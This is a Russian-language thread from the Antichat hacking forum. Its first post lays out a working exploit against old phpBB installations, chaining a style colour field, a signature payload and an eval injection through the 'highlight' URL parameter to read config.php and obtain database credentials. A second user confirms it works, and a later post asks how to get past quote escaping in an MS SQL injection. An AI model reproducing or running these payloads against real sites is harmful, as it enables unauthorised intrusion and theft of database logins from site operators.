Форум АНТИЧАТ - phpbb(highlight)

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)

- Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)

- - phpbb(highlight) (https://forum.antichat.xyz/showthread.php?t=43829)

phpbb(highlight)

Может кому пригодится .
Давно ломал сайт , там стоял старый phpbb . Через базу не смог проделать инклуд. И все остальные способы не помогли. И вот нарыл такой способ.

Идем Administration Panel --> Styles Admin --> Management --> subSilver --> Edit
Затем находим "Font Colour 3" и вместо 6цифр_цвета:

Код:

"'./*"

Далее идем в админский профайл или любой другой юзерский и в поле подписи Signature вставляем:

Код:

"$fd=fopen($phpbb_root_path.'config.php','rb');while(!feof($fd)){echo htmlspecialchars(fgets($fd));}"

Сохраняем!
После этого создаем в любом топике сообщение с текстом:

Код:

"*/var_dump(eval($user_sig)).flush().die().'"

Ну и всем известный способ --- допишем к топику &highlight=1 ---в моем случае я получил пасс и логин от базы.

Круто. Сам испробовал - работает!

А версию точно не помнишь?

Всем привет.
Я извиняюсь что не в тему , просто не хотел создавать лишний раз тему.
Нашел на phpBB MS SQL-injection.Могу провести несколько запросов где не исползуються знаки ( '," ) , всегда когда вставлю этот знак ,фильтр перед ним встявляет ( \ ),итоге Incorrect syntax near '\'.

Ничего не смог придумать , может вы знаете какие-нибудь решение ?
СПС.

Читай статьи.